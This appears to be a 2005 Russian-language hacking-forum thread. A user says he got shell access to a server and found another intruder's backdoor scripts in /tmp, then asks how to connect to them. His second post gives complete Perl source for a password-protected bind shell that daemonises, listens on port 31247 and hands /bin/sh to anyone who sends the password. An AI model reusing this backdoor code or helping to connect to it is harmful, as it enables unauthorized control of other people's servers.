Кто понимает в ПЕРЛЕ сюда
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Кто понимает в ПЕРЛЕ сюда - 2005-01-05 21:59:21
|
|
|
c01dyr
Сообщений: 22
Оценки: 0
Присоединился: 2004-12-26 06:11:22
|
Кто рубит , то смотрите ниже скрипт ( лазил я через шелл по серверу и в /tmp/ нашел файло rand_pass.pl , так вот это кто-то до меня полазил и сделал себе удобный коннект.) Так вот такая просьба : дайте подробную инструкцию , что делать дальше? Подскажите как коннектиться к этому шеллу и чем? Найденые файлы: conex.pl (какой-то "# Remote Connect-Back Backdoor Shell v1.0.") rand_pass.pl (авторизация на вход) bind.pl (еще какой-то коннект) и др.
|
|
|
Кто понимает в ПЕРЛЕ сюда - 2005-01-05 22:05:21
|
|
|
c01dyr
Сообщений: 22
Оценки: 0
Присоединился: 2004-12-26 06:11:22
|
скрипт: [left]#!/usr/bin/perl<BR>$port = 31247;<BR>$pass = 'exploits';<BR>exit if fork;<BR>$sig{CHILD}= 'IGNORE';<BR>use Socket;<BR>socket(S,PF_INET,SOCK_STREAM,0);<BR>setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);<BR>bind(S,sockaddr_in($port,INADDR_ANY));<BR>listen(S,50);<BR>while(1)<BR>{<BR>accept(X,S);<BR>unless(fork)<BR> {<BR> send(X,"Hello\033[01;31m -=CHC=-\033[00;00m\nEnter password:\n",0);<BR> recv(X,$r_pass,6,0);<BR> if($pass eq crypt($r_pass,"XX")){<BR> send(X,"\033[01;32mPassword accepted!!!\033[00;00m\nStart hacking !!!\n",0); <BR> open STDIN, "<&X";<BR> open STDOUT, ">&X";<BR> open STDERR, ">&X";<BR> close X;<BR> exec("/bin/sh");<BR> }<BR> else{<BR> send(X,"\033[01;31mIncorrect password !!!\033[00;00m\nTry to hack later !!!\nGo away !!!\n",0);<BR> #close X;<BR> }<BR> }<BR> close X;<BR>} [/left] [sm=9.gif][sm=9.gif][sm=9.gif]
|
|
|
|
|